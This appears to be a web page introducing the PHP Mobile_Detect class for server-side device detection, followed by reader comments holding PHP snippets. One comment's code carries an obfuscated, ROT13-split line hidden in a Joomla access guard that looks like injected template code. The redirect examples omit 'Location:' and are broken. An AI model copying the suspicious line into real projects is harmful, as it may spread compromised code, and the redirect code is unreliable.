Detecting mobile devices (server side)
PHP Mobile Detect is a light-weight class for detecting mobile devices
Following the original implementation of Victor Stanciu, I'm continuing the development of the light PHP class for detecting mobile devices called Mobile_Detect.
Some of the features include:
- generic mobile detection through isMobile() method
- new tabled detection through isTablet() method
- specific device detection through custom case insensitive methods: isIphone(), isIpad(), isBlackBerry(), see full list.
Example of usage:
<?php
include('Mobile_Detect.php');
$detect = new Mobile_Detect();
if ($detect->isMobile()) {
header('http://m.site.com', true, 301);
}
?>
Comments
<?php
include('Mobile_Detect.php');
$detect = new Mobile_Detect();
if ($detect->isMobile()) {
header('http://careersinstlouis.com', true,301);
}
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<?php
include('Mobile_Detect.php');
$detect = new Mobile_Detect();
if ($detect->isMobile()) { } else { }
?>
<?php
$isMobile = $detect->isMobile();
// you can also store it in session.
$_SESSION['isMobile'] = $isMobile;
// use it later
if($_SESSION['isMobile']){
// do your mobile stuff.
}
?>
<?php
error_reporting(E_ALL && ~E_NOTICE);
session_start();
header("Vary: User-Agent, Accept");
[...]
require_once 'Mobile_Detect.php';
$detect = new Mobile_Detect();
if(in_array($_GET['layout'], array('mobile', 'desktop'))){
setcookie('layout', null);
setcookie('layout', $_GET['layout'], time()+60*60*24*30, '/', '.goldclubgirls.com');
$layout = $_GET['layout'];
} else {
if(!$_COOKIE['layout']){
$layout = ($detect->isMobile() ? 'mobile' : 'desktop');
setcookie('layout', $layout, time()+60*60*24*30, '/', '.goldclubgirls.com');
} else {
$layout = $_COOKIE['layout'];
}
}
?>
Post new comment